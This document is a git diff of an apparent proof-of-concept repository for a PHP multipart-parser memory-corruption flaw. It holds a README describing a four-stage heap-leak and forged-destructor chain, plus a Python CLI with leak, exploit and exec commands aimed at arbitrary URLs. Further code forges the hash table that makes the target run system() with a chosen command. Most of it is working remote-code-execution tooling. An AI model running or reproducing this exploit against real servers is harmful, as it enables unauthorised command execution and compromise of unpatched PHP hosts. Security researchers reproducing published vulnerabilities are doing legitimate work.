1. **A1** — chunked multipart with no `Content-Length`, so the `post_max_size` check is skipped;
|
||||
860 depth-64 nested empty-file fields plus fillers burn the 128 MB `memory_limit` inside the
|
||||
multipart parser. The OOM bailout leaves `PS(id)` dangling with `send_cookie=1`.
|
||||
2. **B1** — a second multipart request whose values re-fill the freed chunk with a forged
|
||||
`zend_string` header (`len=0xC8000`) at the address `PS(id)` still points to. Shutdown
|
||||
URL-encodes 800 KB of worker memory into the `PHPSESSID` response cookie. The window contains
|
||||
a repeating `zval_ptr_dtor` pointer (→ `libphp` base) and a 2 MiB-aligned chunk with exactly
|
||||
87 pointers (→ main chunk base). A `libphp − main` range check discards bad leaks.
|
||||
3. **A2** — 880 nested fields plus short fillers; a cheap OOM leaves
|
||||
`PS(hash_serialize_verifier)` pointing into the heap.
|
||||
4. **B2** — a 384-byte spray of fake `zend_reference` values rewrites that pointer to a forged
|
||||
`zend_array` at `main + 0xF8398` whose `pDestructor` is `zif_system`; request shutdown calls
|
||||
`zend_hash_destroy` on it and executes the command.
|
||||
|
||||
Calibration constants are not in the code paths — they live in `poc/profiles.py`, keyed by the
|
||||
target's `libphp.so` SHA-256.
|
||||
|
||||
## Calibration model and caveats
|
||||
|
||||
- **Offsets are per-build.** `dtor_offset`, `zif_offset`, `s_delta`, `hsv_delta`,
|
||||
`main_bucket_count`, and the delta window are valid only for the `libphp.so` whose SHA-256 keys
|
||||
the profile. `poc check` refuses to call the target ready when the hash has no profile.
|
||||
- **The pointer window is canonical user space, not `0x7f`.** A published reference chain filters
|
||||
candidate pointers to `≥ 0x7F0000000000`. On this host the container's mmap base lands at
|
||||
`0x73…`/`0x78…`/`0x7d…`, so that filter discards the real leak and the chain fails with
|
||||
"no heap pointers". This PoC accepts `2^36 … 2^47−1` and instead gates candidate destructor
|
||||
anchors on *page alignment of the derived base* plus a quorum. That gate is load-bearing: the
|
||||
window's most common in-range qword is a `zend_string` header (`0x1600000001`, 1282×), which
|
||||
outnumbers `zval_ptr_dtor` (1095×) and would win a naive "most common" pick.
|
||||
- **Re-leak, don't re-forge.** A bad base recovery means the A1/B1 pair is redone, never A2/B2:
|
||||
the worker's addresses are already poisoned once A2 runs.
|
||||
- **Command length is capped** at 200 bytes by the 384-byte carrier (`0x160 − 0x98`). For longer
|
||||
payloads, write a script into the mounted `out/` directory and run `sh</out/c`.
|
||||
|
||||
## Repository layout
|
||||
|
||||
```
|
||||
poc/ profiles · outdir · elf · wire · bodies · forge · leak · cli
|
||||
tests/ 60 unit tests; golden body hashes live in tests/golden/bodies.json
|
||||
research/ provenance of the golden hashes (reference clone is gitignored)
|
||||
```
|
||||
|
||||
There is no `lab/`, no compose file and no target webroot here: the client is the artifact.
|
||||
|
||||
`research/upstream/` is a read-only clone of the public reference chain, used once as a control
|
||||
test and to generate the golden body hashes. Nothing in `poc/` imports it.
|
||||
|
||||
## Attribution
|
||||
|
||||
PoC, harness and calibration: **ZSecurity — Linuxhackingid** (`__author__` / `__org__` in
|
||||
`poc/__init__.py`, and the banner every command prints).
|
||||
|
||||
Primitive discovery and public analysis: Wiz Research ("PHP2Shell"), the PHP security team
|
||||
(Jakub Zelenka), and the authors of the public reference chain used for control testing and
|
||||
golden-hash generation. This repository is an independent rebuild of those published primitives
|
||||
with a profile-driven calibration model, a staged verifier, and a patched-build negative control;
|
||||
the wire bodies are reimplemented and proven byte-identical rather than vendored.
|
||||
|
||||
## License
|
||||
|
||||
MIT — see [LICENSE](LICENSE). Copyright (c) 2026 ZSecurity (Linuxhackingid).
|
||||
|
||||
The research this artifact reproduces is not covered by that licence; cite the vendor advisory
|
||||
and the original researchers listed above.
|
||||
|
||||
@@ -1,10 +0,0 @@
|
||||
KeepAlive Off
|
||||
|
||||
<IfModule mpm_prefork_module>
|
||||
StartServers 1
|
||||
MinSpareServers 1
|
||||
MaxSpareServers 1
|
||||
MaxRequestWorkers 1
|
||||
ServerLimit 1
|
||||
MaxConnectionsPerChild 0
|
||||
</IfModule>
|
||||
@@ -1,4 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
set -eu
|
||||
docker rm -f "${NAME:-p2s-lab}" >/dev/null 2>&1 || true
|
||||
echo "down"
|
||||
@@ -1 +0,0 @@
|
||||
<?php echo "OK\n";
|
||||
@@ -1,9 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
set -eu
|
||||
NAME=${NAME:-p2s-lab}
|
||||
docker exec "$NAME" php -v | head -1
|
||||
docker exec "$NAME" php -i 2>/dev/null | grep -E '^(display_errors|memory_limit|post_max_size|output_buffering|max_file_uploads|max_input_vars|session.upload_progress.enabled|session.save_handler|session.serialize_handler)'
|
||||
docker exec "$NAME" sha256sum /usr/lib/apache2/modules/libphp.so
|
||||
docker exec "$NAME" apache2 -v | head -1
|
||||
docker exec "$NAME" sh -c "grep -v '^#' /etc/apache2/conf-enabled/zz-p2s.conf | grep -v '^$'"
|
||||
docker exec "$NAME" sh -c 'pgrep -c apache2'
|
||||
@@ -1,35 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
set -eu
|
||||
HERE=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd -W)
|
||||
ROOT=$(cd "$HERE/.." && pwd -W)
|
||||
IMAGE=${IMAGE:-php:8.4.26-apache}
|
||||
NAME=${NAME:-p2s-lab}
|
||||
PORT=${PORT:-18110}
|
||||
NET=${NET:-}
|
||||
|
||||
docker rm -f "$NAME" >/dev/null 2>&1 || true
|
||||
mkdir -p "$ROOT/out"
|
||||
|
||||
NETARG=""
|
||||
if [ -n "$NET" ]; then
|
||||
docker network create "$NET" >/dev/null 2>&1 || true
|
||||
NETARG="--network $NET"
|
||||
fi
|
||||
|
||||
# shellcheck disable=SC2086
|
||||
docker run -d --name "$NAME" $NETARG \
|
||||
-p "127.0.0.1:$PORT:80" \
|
||||
-v "$HERE/index.php:/var/www/html/index.php:ro" \
|
||||
-v "$HERE/apache-single-worker.conf:/etc/apache2/conf-enabled/zz-p2s.conf:ro" \
|
||||
-v "$ROOT/out:/out" \
|
||||
"$IMAGE" /bin/sh -c 'cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini
|
||||
chown -R www-data:www-data /out 2>/dev/null || true
|
||||
exec apache2-foreground' >/dev/null
|
||||
|
||||
for _ in $(seq 1 60); do
|
||||
if curl -s -m 2 "http://127.0.0.1:$PORT/index.php" >/dev/null 2>&1; then
|
||||
break
|
||||
fi
|
||||
sleep 0.5
|
||||
done
|
||||
echo "target: $(curl -s -m 3 "http://127.0.0.1:$PORT/index.php")"
|
||||
+2
-2
@@ -1,3 +1,3 @@
|
||||
__author__ = "Hermes Agent"
|
||||
__org__ = "independent security research"
|
||||
__author__ = "ZSecurity"
|
||||
__org__ = "Linuxhackingid"
|
||||
__version__ = "0.1.0"
|
||||
|
||||
@@ -0,0 +1,3 @@
|
||||
from poc.cli import main
|
||||
|
||||
raise SystemExit(main())
|
||||
+521
@@ -0,0 +1,521 @@
|
||||
import argparse
|
||||
import copy
|
||||
import hashlib
|
||||
import json
|
||||
import os
|
||||
import socket
|
||||
import ssl
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
import urllib.parse
|
||||
|
||||
from poc import bodies, elf, forge, leak, outdir, profiles, wire
|
||||
|
||||
ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||
|
||||
INVL = {"display_errors", "memory_limit", "post_max_size", "output_buffering",
|
||||
"max_file_uploads", "max_input_vars", "session.upload_progress.enabled",
|
||||
"session.save_handler", "session.serialize_handler"}
|
||||
|
||||
FIXED = {"8.2": (8, 2, 35), "8.3": (8, 3, 36), "8.4": (8, 4, 27), "8.5": (8, 5, 12)}
|
||||
VULN_LOW = {"8.2": (7, 3, 0), "8.3": (8, 3, 0), "8.4": (8, 4, 0), "8.5": (8, 5, 0)}
|
||||
|
||||
|
||||
def banner():
|
||||
import poc
|
||||
print("php2shell poc %s | %s | %s" % (poc.__version__, poc.__author__, poc.__org__))
|
||||
|
||||
|
||||
def dkr(args, timeout=120):
|
||||
try:
|
||||
r = subprocess.run(["docker"] + args, capture_output=True, text=True, timeout=timeout)
|
||||
except (OSError, subprocess.TimeoutExpired):
|
||||
return ""
|
||||
return r.stdout
|
||||
|
||||
|
||||
def parse_version(text):
|
||||
for tok in text.split():
|
||||
parts = tok.split(".")
|
||||
if len(parts) == 3 and all(p.isdigit() for p in parts):
|
||||
return tuple(int(p) for p in parts)
|
||||
return None
|
||||
|
||||
|
||||
def version_state(ver):
|
||||
major = "%d.%d" % ver[:2]
|
||||
if major not in FIXED:
|
||||
return "unknown"
|
||||
if ver >= FIXED[major]:
|
||||
return "patched"
|
||||
if ver >= VULN_LOW[major]:
|
||||
return "vulnerable"
|
||||
return "unknown"
|
||||
|
||||
|
||||
def cmd_check(args):
|
||||
name = args.name
|
||||
reach = ""
|
||||
if getattr(args, "url", ""):
|
||||
reach = "yes" if require_target(args.host, args.port, args.tls, args.insecure) else "no"
|
||||
vtext = dkr(["exec", name, "php", "-v"])
|
||||
ver = parse_version(vtext)
|
||||
info = dkr(["exec", name, "php", "-i"])
|
||||
ini = {}
|
||||
for line in info.splitlines():
|
||||
key, _, val = line.partition("=>")
|
||||
key = key.strip()
|
||||
if key in INVL:
|
||||
ini[key] = val.split("=>")[0].strip()
|
||||
sha = ""
|
||||
if ver is not None:
|
||||
out = dkr(["exec", name, "sha256sum", args.lib_path])
|
||||
if out.split():
|
||||
sha = out.split()[0]
|
||||
prof_name, prof = profiles.select(sha)
|
||||
workers = dkr(["exec", name, "sh", "-c", "pgrep -c apache2"]).strip()
|
||||
state = version_state(ver) if ver else "unknown"
|
||||
|
||||
rows = [("php_version", "%d.%d.%d" % ver if ver else "?", state)]
|
||||
for key in sorted(ini):
|
||||
rows.append(("ini." + key, ini[key], ""))
|
||||
rows.append(("libphp_sha256", sha or "?", ""))
|
||||
rows.append(("profile", prof_name or "NO PROFILE MATCH", ""))
|
||||
rows.append(("workers", workers, ""))
|
||||
if reach:
|
||||
rows.append(("reachable", reach, ""))
|
||||
|
||||
ok = state == "vulnerable" and prof is not None
|
||||
if args.json:
|
||||
print(json.dumps({"vulnerable": ok, "reachable": reach or None,
|
||||
"version": ver and "%d.%d.%d" % ver,
|
||||
"state": state, "libphp_sha256": sha,
|
||||
"profile": prof_name, "ini": ini, "workers": workers}, indent=2))
|
||||
else:
|
||||
for k, v, extra in rows:
|
||||
print("%-42s %s%s" % (k, v, (" " + extra) if extra else ""))
|
||||
print("%-42s %s" % ("verdict", "READY" if ok else "NOT READY"))
|
||||
return 0 if ok else 1
|
||||
|
||||
|
||||
def run_leak(args, prof, save=""):
|
||||
host, port = args.host, args.port
|
||||
path, warm_path = target_paths(args, prof)
|
||||
held = wire.hold_workers(host, port, args.workers - 1, path=path,
|
||||
tls=args.tls, insecure=args.insecure)
|
||||
try:
|
||||
wire.warm(host, port, path, tls=args.tls, insecure=args.insecure)
|
||||
a1 = bodies.build_a1(prof["a1"])
|
||||
r1 = wire.send(host, port, wire.frame_chunked(warm_path, a1, "%s:%d" % (host, port)),
|
||||
timeout=args.timeout, tls=args.tls, insecure=args.insecure)
|
||||
a1_status = wire.status(r1)
|
||||
b1 = bodies.build_b1(prof["leak_spec"], prof["fake_len"], tag=True)
|
||||
r2 = wire.send(host, port, wire.frame_chunked(path, b1, "%s:%d" % (host, port)),
|
||||
timeout=args.timeout, tls=args.tls, insecure=args.insecure)
|
||||
if save:
|
||||
with open(save, "wb") as fh:
|
||||
fh.write(r2)
|
||||
raw = wire.cookie(r2, b"PHPSESSID")
|
||||
if raw is None:
|
||||
raise leak.LeakError("no Set-Cookie PHPSESSID (status=%r, bytes=%d)" %
|
||||
(wire.status(r2), len(r2)))
|
||||
info = leak.classify(raw, prof)
|
||||
info["a1_status"] = a1_status
|
||||
info["b1_status"] = wire.status(r2)
|
||||
info["cookie_bytes"] = len(raw)
|
||||
return info
|
||||
finally:
|
||||
wire.release(held)
|
||||
|
||||
|
||||
def cmd_leak(args):
|
||||
if not require_target(args.host, args.port, args.tls, args.insecure):
|
||||
return 1
|
||||
prof = profile_or_die(args)
|
||||
info = run_leak(args, prof, args.save)
|
||||
if args.json:
|
||||
print(json.dumps(info, default=hex, indent=2))
|
||||
else:
|
||||
print("a1_status %s" % info["a1_status"])
|
||||
print("b1_status %s" % info["b1_status"])
|
||||
print("cookie_bytes %d" % info["cookie_bytes"])
|
||||
print("decoded %d" % info["decoded"])
|
||||
print("zval_ptr_dtor %#x x%d" % (info["zdtor"], info["dtor_count"]))
|
||||
print("libphp %#x" % info["lib"])
|
||||
print("main %#x bucket_count=%d" % (info["main"], info["main_bucket_count"]))
|
||||
print("libphp - main %#x" % info["delta"])
|
||||
print("buckets " + " ".join("%#x:%d" % (b, c) for b, c in info["buckets"]))
|
||||
return 0
|
||||
|
||||
|
||||
def profile_or_die(args):
|
||||
_, prof = profiles.only()
|
||||
if args.profile:
|
||||
if args.profile not in profiles.PROFILES:
|
||||
print("unknown profile %r" % args.profile, file=sys.stderr)
|
||||
raise SystemExit(2)
|
||||
prof = profiles.PROFILES[args.profile]
|
||||
return prof
|
||||
|
||||
|
||||
def exploit_once(args, prof):
|
||||
host, port = args.host, args.port
|
||||
proof_path = args.proof
|
||||
if os.path.exists(proof_path):
|
||||
os.remove(proof_path)
|
||||
|
||||
path, warm_path = target_paths(args, prof)
|
||||
held = wire.hold_workers(host, port, args.workers - 1, path=path,
|
||||
tls=args.tls, insecure=args.insecure)
|
||||
try:
|
||||
wire.warm(host, port, path, tls=args.tls, insecure=args.insecure)
|
||||
|
||||
a1 = bodies.build_a1(prof["a1"])
|
||||
r1 = wire.send(host, port, wire.frame_chunked(warm_path, a1, "%s:%d" % (host, port)),
|
||||
timeout=args.timeout, tls=args.tls, insecure=args.insecure)
|
||||
print("[1/4] A1 oom status=%s" % wire.status(r1))
|
||||
time.sleep(0.2)
|
||||
|
||||
b1 = bodies.build_b1(prof["leak_spec"], prof["fake_len"], tag=True)
|
||||
r2 = wire.send(host, port, wire.frame_chunked(path, b1, "%s:%d" % (host, port)),
|
||||
timeout=args.timeout, tls=args.tls, insecure=args.insecure)
|
||||
raw = wire.cookie(r2, b"PHPSESSID")
|
||||
if raw is None:
|
||||
raise leak.LeakError("no Set-Cookie PHPSESSID (status=%s, bytes=%d)" %
|
||||
(wire.status(r2), len(r2)))
|
||||
info = leak.classify(raw, prof)
|
||||
print("[2/4] B1 leak decoded=%d libphp=%#x main=%#x count=%d" %
|
||||
(info["decoded"], info["lib"], info["main"], info["main_bucket_count"]))
|
||||
time.sleep(0.2)
|
||||
|
||||
s_addr = info["main"] + prof["s_delta"]
|
||||
zif = info["lib"] + prof["zif_offset"]
|
||||
a2 = bodies.build_a2(prof["a2"])
|
||||
r3 = wire.send(host, port, wire.frame_plain(path, a2, "%s:%d" % (host, port)),
|
||||
timeout=args.timeout, tls=args.tls, insecure=args.insecure)
|
||||
print("[3/4] A2 oom status=%s" % wire.status(r3))
|
||||
time.sleep(0.2)
|
||||
|
||||
ht = forge.build_ht(s_addr, zif, args.cmd.encode())
|
||||
b2 = forge.build_b2(prof["b2"], ht_addr=s_addr, ht=ht)
|
||||
r4 = wire.send(host, port, wire.frame_plain(path, b2, "%s:%d" % (host, port)),
|
||||
timeout=args.timeout, tls=args.tls, insecure=args.insecure)
|
||||
print("[4/4] B2 forge S=%#x zif_system=%#x status=%s" %
|
||||
(s_addr, zif, wire.status(r4)))
|
||||
|
||||
deadline = time.time() + 5.0
|
||||
while time.time() < deadline:
|
||||
if os.path.exists(proof_path):
|
||||
with open(proof_path, "r", errors="replace") as fh:
|
||||
proof = fh.read().strip()
|
||||
if proof:
|
||||
if getattr(args, "quiet", False):
|
||||
return 0, proof
|
||||
print(" RCE OK; proof %s:" % proof_path)
|
||||
print(proof)
|
||||
return 0, proof
|
||||
time.sleep(0.2)
|
||||
if not wire.status(r4):
|
||||
print(" B2 got no response (worker aborted during shutdown) but %s never appeared"
|
||||
% proof_path)
|
||||
print(" the target's /out is not the client's proof directory; mount it at %s"
|
||||
% os.path.dirname(proof_path))
|
||||
print(" or pass --proof with the path the target actually writes")
|
||||
else:
|
||||
print(" no command output; B2 status=%r - stage-3 placement missed"
|
||||
% wire.status(r4))
|
||||
return 1, ""
|
||||
finally:
|
||||
wire.release(held)
|
||||
|
||||
|
||||
def cmd_exploit(args):
|
||||
prof = profile_or_die(args)
|
||||
if not args.dry_run and not require_target(args.host, args.port,
|
||||
args.tls, args.insecure):
|
||||
return 1
|
||||
if args.dry_run:
|
||||
s_addr = 0x7D2700000000 + prof["s_delta"]
|
||||
zif = 0x7D27FE200000 + prof["zif_offset"]
|
||||
a1 = bodies.build_a1(prof["a1"])
|
||||
b1 = bodies.build_b1(prof["leak_spec"], prof["fake_len"], tag=True)
|
||||
a2 = bodies.build_a2(prof["a2"])
|
||||
ht = forge.build_ht(s_addr, zif, args.cmd.encode())
|
||||
b2 = forge.build_b2(prof["b2"], ht_addr=s_addr, ht=ht)
|
||||
out = {"S": hex(s_addr), "zif_system": hex(zif), "bytes_sent": 0,
|
||||
"a1_sha256": hashlib.sha256(a1).hexdigest(),
|
||||
"a2_sha256": hashlib.sha256(a2).hexdigest(),
|
||||
"b1_sha256": hashlib.sha256(b1).hexdigest(),
|
||||
"b2_sha256": hashlib.sha256(b2).hexdigest(),
|
||||
"b2_bytes": len(b2), "ht_bytes": len(ht)}
|
||||
if args.json:
|
||||
print(json.dumps(out, indent=2))
|
||||
else:
|
||||
for k, v in out.items():
|
||||
print("%-12s %s" % (k, v))
|
||||
return 0
|
||||
|
||||
last = 1
|
||||
for attempt in range(1, args.retries + 1):
|
||||
try:
|
||||
code, proof = exploit_once(args, prof)
|
||||
except leak.LeakError as exc:
|
||||
print(" attempt %d failed: %s" % (attempt, exc))
|
||||
code, proof = 1, ""
|
||||
last = code
|
||||
if code == 0:
|
||||
if args.json:
|
||||
print(json.dumps({"rce": True, "attempt": attempt, "proof": proof}, indent=2))
|
||||
return 0
|
||||
time.sleep(0.5)
|
||||
if args.json:
|
||||
print(json.dumps({"rce": False, "attempts": args.retries}, indent=2))
|
||||
print("[4/4] all attempts failed")
|
||||
return last
|
||||
|
||||
|
||||
def resolve_target(args):
|
||||
url = getattr(args, "url", "")
|
||||
if not hasattr(args, "tls"):
|
||||
args.tls = False
|
||||
if url:
|
||||
parts = urllib.parse.urlsplit(url)
|
||||
if parts.scheme in ("https", "wss"):
|
||||
args.tls = True
|
||||
elif parts.scheme not in ("", "http", "ws"):
|
||||
print("unsupported scheme %r: use http:// or https://" % parts.scheme,
|
||||
file=sys.stderr)
|
||||
raise SystemExit(2)
|
||||
if not parts.hostname:
|
||||
print("--url carries no host", file=sys.stderr)
|
||||
raise SystemExit(2)
|
||||
default_port = 443 if args.tls else 80
|
||||
if args.host is None:
|
||||
args.host = parts.hostname
|
||||
if args.port is None:
|
||||
args.port = parts.port or default_port
|
||||
if not args.path:
|
||||
args.path = parts.path or "/index.php"
|
||||
if args.host is None:
|
||||
args.host = "127.0.0.1"
|
||||
if args.port is None:
|
||||
args.port = 18110
|
||||
if args.path is None:
|
||||
args.path = ""
|
||||
return args
|
||||
|
||||
|
||||
def target_paths(args, prof):
|
||||
path = args.path or prof["path"]
|
||||
warm = prof["warm_path"]
|
||||
query = warm.split("?", 1)[1] if "?" in warm else ""
|
||||
return path, (path + "?" + query if query else path)
|
||||
|
||||
|
||||
def require_target(host, port, tls=False, insecure=False):
|
||||
scheme = "https" if tls else "http"
|
||||
try:
|
||||
sock = wire.connect(host, port, 3, tls, insecure)
|
||||
sock.close()
|
||||
return True
|
||||
except ssl.SSLError as exc:
|
||||
print("TLS failed for %s://%s:%d: %s" % (scheme, host, port, exc), file=sys.stderr)
|
||||
if not insecure:
|
||||
print("self-signed certificate? retry with --insecure", file=sys.stderr)
|
||||
return False
|
||||
except OSError:
|
||||
print("cannot connect to %s://%s:%d - no target listening" % (scheme, host, port),
|
||||
file=sys.stderr)
|
||||
print("start a target first - see README: Target (not shipped)", file=sys.stderr)
|
||||
return False
|
||||
|
||||
|
||||
def cmd_status(args):
|
||||
name = args.name
|
||||
rows = []
|
||||
ver = dkr(["exec", name, "php", "-v"]).splitlines()
|
||||
rows.append(("php", ver[0] if ver else "?"))
|
||||
for line in dkr(["exec", name, "php", "-i"]).splitlines():
|
||||
key, _, val = line.partition("=>")
|
||||
key = key.strip()
|
||||
if key in INVL:
|
||||
rows.append((key, val.split("=>")[0].strip()))
|
||||
sha = dkr(["exec", name, "sha256sum", args.lib_path]).split()
|
||||
rows.append(("libphp_sha256", sha[0] if sha else "?"))
|
||||
apache = dkr(["exec", name, "apache2", "-v"]).splitlines()
|
||||
rows.append(("apache", apache[0] if apache else "?"))
|
||||
rows.append(("workers", dkr(["exec", name, "sh", "-c", "pgrep -c apache2"]).strip()))
|
||||
if not any(v.strip() for k, v in rows if k != "workers"):
|
||||
print("cannot inspect container %r (is it running? is docker available?)" % name,
|
||||
file=sys.stderr)
|
||||
return 1
|
||||
if args.json:
|
||||
print(json.dumps(dict(rows), indent=2))
|
||||
else:
|
||||
for key, val in rows:
|
||||
print("%-40s %s" % (key, val))
|
||||
return 0
|
||||
|
||||
|
||||
EXEC_REMOTE = "/out/.poc-exec"
|
||||
CARRIER_LIMIT = 200
|
||||
|
||||
|
||||
def exec_wrapper(command, remote=EXEC_REMOTE):
|
||||
return "{ " + command + "\n} > " + remote + " 2>&1"
|
||||
|
||||
|
||||
def exec_fits(command, remote=EXEC_REMOTE):
|
||||
return len(exec_wrapper(command, remote)) <= CARRIER_LIMIT
|
||||
|
||||
|
||||
def cmd_exec(args):
|
||||
if not require_target(args.host, args.port, args.tls, args.insecure):
|
||||
return 1
|
||||
prof = profile_or_die(args)
|
||||
if not exec_fits(args.cmd):
|
||||
wrapped_len = len(exec_wrapper(args.cmd))
|
||||
print("command is %d bytes after wrapping, carrier limit is %d"
|
||||
% (wrapped_len, CARRIER_LIMIT), file=sys.stderr)
|
||||
print("put it in a file and run: --cmd 'sh</out/c'", file=sys.stderr)
|
||||
return 2
|
||||
local = os.path.join(outdir.default_outdir(), ".poc-exec")
|
||||
ns = copy.copy(args)
|
||||
ns.cmd = exec_wrapper(args.cmd)
|
||||
ns.proof = local
|
||||
ns.quiet = True
|
||||
outdir.ensure()
|
||||
if os.path.exists(local):
|
||||
os.remove(local)
|
||||
code = 1
|
||||
for attempt in range(1, args.retries + 1):
|
||||
try:
|
||||
code, _ = exploit_once(ns, prof)
|
||||
except leak.LeakError as exc:
|
||||
print(" attempt %d failed: %s" % (attempt, exc))
|
||||
code = 1
|
||||
if code == 0:
|
||||
break
|
||||
time.sleep(0.5)
|
||||
if os.path.exists(local):
|
||||
with open(local, "r", errors="replace") as fh:
|
||||
out = fh.read()
|
||||
os.remove(local)
|
||||
print(out.rstrip())
|
||||
return 0 if code == 0 else 1
|
||||
return 1
|
||||
|
||||
|
||||
def cmd_offsets(args):
|
||||
syms = elf.symbol_offsets(args.lib, ["zval_ptr_dtor", "zif_system", "zif_passthru"])
|
||||
if args.json:
|
||||
print(json.dumps({k: (hex(v) if v else None) for k, v in syms.items()}, indent=2))
|
||||
else:
|
||||
for k, v in syms.items():
|
||||
print("%-16s %s" % (k, hex(v) if v else "NOT FOUND"))
|
||||
return 0 if syms.get("zif_system") else 1
|
||||
|
||||
|
||||
def cmd_selftest(args):
|
||||
_, prof = profiles.only()
|
||||
a1 = bodies.build_a1(prof["a1"])
|
||||
a2 = bodies.build_a2(prof["a2"])
|
||||
b1 = bodies.build_b1(prof["leak_spec"], prof["fake_len"], tag=True)
|
||||
s_addr = 0x7D2700000000 + prof["s_delta"]
|
||||
zif = 0x7D27FE200000 + prof["zif_offset"]
|
||||
ht = forge.build_ht(s_addr, zif, b"id>/out/p1")
|
||||
b2 = forge.build_b2(prof["b2"], ht_addr=s_addr, ht=ht)
|
||||
assert b"files[R00000" + b"K" * prof["a1"]["key_pad"] + b"]" in a1
|
||||
assert a2.count(b"name=\"files[R") == prof["a2"]["parts"]
|
||||
assert b1.count(b"name=\"x") == 900
|
||||
assert len(ht) == 384
|
||||
assert ht[0x30:0x38] == zif.to_bytes(8, "little")
|
||||
assert b2.count(b"name=\"ht\"") == 1
|
||||
assert prof["delta_min"] <= 0x1E00000 <= prof["delta_max"]
|
||||
print("selftest ok a1=%d a2=%d b1=%d b2=%d ht=%d" % (len(a1), len(a2), len(b1), len(b2), len(ht)))
|
||||
return 0
|
||||
|
||||
|
||||
def build_parser():
|
||||
ap = argparse.ArgumentParser(prog="poc", add_help=True)
|
||||
sub = ap.add_subparsers(dest="cmd", required=True)
|
||||
|
||||
def common(p):
|
||||
p.add_argument("--host", default=None)
|
||||
p.add_argument("--port", type=int, default=None)
|
||||
p.add_argument("--name", default="p2s-lab")
|
||||
p.add_argument("--lib-path", default="/usr/lib/apache2/modules/libphp.so")
|
||||
p.add_argument("--profile", default="")
|
||||
p.add_argument("--workers", type=int, default=1)
|
||||
p.add_argument("--timeout", type=float, default=600.0)
|
||||
p.add_argument("--json", action="store_true")
|
||||
|
||||
p = sub.add_parser("check")
|
||||
common(p)
|
||||
p.add_argument("--url", default="")
|
||||
p.add_argument("--path", default="")
|
||||
p.add_argument("--tls", action="store_true")
|
||||
p.add_argument("--insecure", action="store_true")
|
||||
p.set_defaults(func=cmd_check, resolve=True)
|
||||
|
||||
p = sub.add_parser("leak")
|
||||
common(p)
|
||||
p.add_argument("--url", default="")
|
||||
p.add_argument("--path", default="")
|
||||
p.add_argument("--tls", action="store_true",
|
||||
help="use TLS; implied by an https:// url")
|
||||
p.add_argument("--insecure", action="store_true",
|
||||
help="skip TLS certificate verification (self-signed labs)")
|
||||
p.add_argument("--save", default="")
|
||||
p.set_defaults(func=cmd_leak, resolve=True)
|
||||
|
||||
p = sub.add_parser("exploit")
|
||||
common(p)
|
||||
p.add_argument("--url", default="")
|
||||
p.add_argument("--path", default="")
|
||||
p.add_argument("--tls", action="store_true",
|
||||
help="use TLS; implied by an https:// url")
|
||||
p.add_argument("--insecure", action="store_true",
|
||||
help="skip TLS certificate verification (self-signed labs)")
|
||||
p.add_argument("--cmd", default="id>/out/p1")
|
||||
p.add_argument("--proof", default=os.path.join(outdir.default_outdir(), "p1"))
|
||||
p.add_argument("--dry-run", action="store_true")
|
||||
p.add_argument("--retries", type=int, default=3)
|
||||
p.set_defaults(func=cmd_exploit, resolve=True)
|
||||
|
||||
|
||||
p = sub.add_parser("status")
|
||||
common(p)
|
||||
p.set_defaults(func=cmd_status)
|
||||
|
||||
p = sub.add_parser("exec")
|
||||
common(p)
|
||||
p.add_argument("--url", default="")
|
||||
p.add_argument("--path", default="")
|
||||
p.add_argument("--tls", action="store_true",
|
||||
help="use TLS; implied by an https:// url")
|
||||
p.add_argument("--insecure", action="store_true",
|
||||
help="skip TLS certificate verification (self-signed labs)")
|
||||
p.add_argument("--cmd", required=True)
|
||||
p.add_argument("--retries", type=int, default=3)
|
||||
p.set_defaults(func=cmd_exec, resolve=True)
|
||||
|
||||
p = sub.add_parser("offsets")
|
||||
p.add_argument("--lib", required=True)
|
||||
p.add_argument("--json", action="store_true")
|
||||
p.set_defaults(func=cmd_offsets)
|
||||
|
||||
p = sub.add_parser("selftest")
|
||||
p.add_argument("--json", action="store_true")
|
||||
p.set_defaults(func=cmd_selftest)
|
||||
return ap
|
||||
|
||||
|
||||
def main(argv=None):
|
||||
args = build_parser().parse_args(argv)
|
||||
if getattr(args, "resolve", False):
|
||||
resolve_target(args)
|
||||
if not args.json:
|
||||
banner()
|
||||
return args.func(args)
|
||||
@@ -0,0 +1,77 @@
|
||||
import struct
|
||||
|
||||
BOUNDARY = b"C" * 10
|
||||
|
||||
|
||||
def build_ht(htdata, zif, cmd, size=384):
|
||||
if len(cmd) > 0x160 - 0x98:
|
||||
raise ValueError("command too long for the 384-byte carrier")
|
||||
ht = bytearray(size)
|
||||
struct.pack_into("<II", ht, 0x00, 1, 7)
|
||||
struct.pack_into("<II", ht, 0x08, 0x10, 0xFFFFFFF8)
|
||||
struct.pack_into("<Q", ht, 0x10, htdata + 0x20)
|
||||
struct.pack_into("<II", ht, 0x18, 1, 1)
|
||||
struct.pack_into("<II", ht, 0x20, 8, 0)
|
||||
struct.pack_into("<Q", ht, 0x28, 0)
|
||||
struct.pack_into("<Q", ht, 0x30, zif)
|
||||
e = 0x20
|
||||
struct.pack_into("<Q", ht, e + 0x00, 0)
|
||||
struct.pack_into("<Q", ht, e + 0x08, 0)
|
||||
struct.pack_into("<Q", ht, e + 0x10, zif)
|
||||
struct.pack_into("<Q", ht, e + 0x18, 0)
|
||||
struct.pack_into("<Q", ht, e + 0x20, 0)
|
||||
struct.pack_into("<I", ht, e + 0x28, 0)
|
||||
struct.pack_into("<I", ht, e + 0x2C, 1)
|
||||
struct.pack_into("<Q", ht, e + 0x30, 0)
|
||||
struct.pack_into("<Q", ht, e + 0x38, 0)
|
||||
struct.pack_into("<I", ht, e + 0x40, 0)
|
||||
struct.pack_into("<Q", ht, e + 0x50, htdata + 0x80)
|
||||
struct.pack_into("<I", ht, e + 0x58, 6)
|
||||
struct.pack_into("<II", ht, 0x80, 1, 0x106)
|
||||
struct.pack_into("<Q", ht, 0x88, 0)
|
||||
struct.pack_into("<Q", ht, 0x90, len(cmd))
|
||||
ht[0x98:0x98 + len(cmd)] = cmd
|
||||
ht[0x98 + len(cmd)] = 0
|
||||
return bytes(ht)
|
||||
|
||||
|
||||
def build_ref_slot(ptr, rc, val_type=0x0107):
|
||||
slot = bytearray(32)
|
||||
struct.pack_into("<I", slot, 0, rc)
|
||||
slot[4] = 0x0A
|
||||
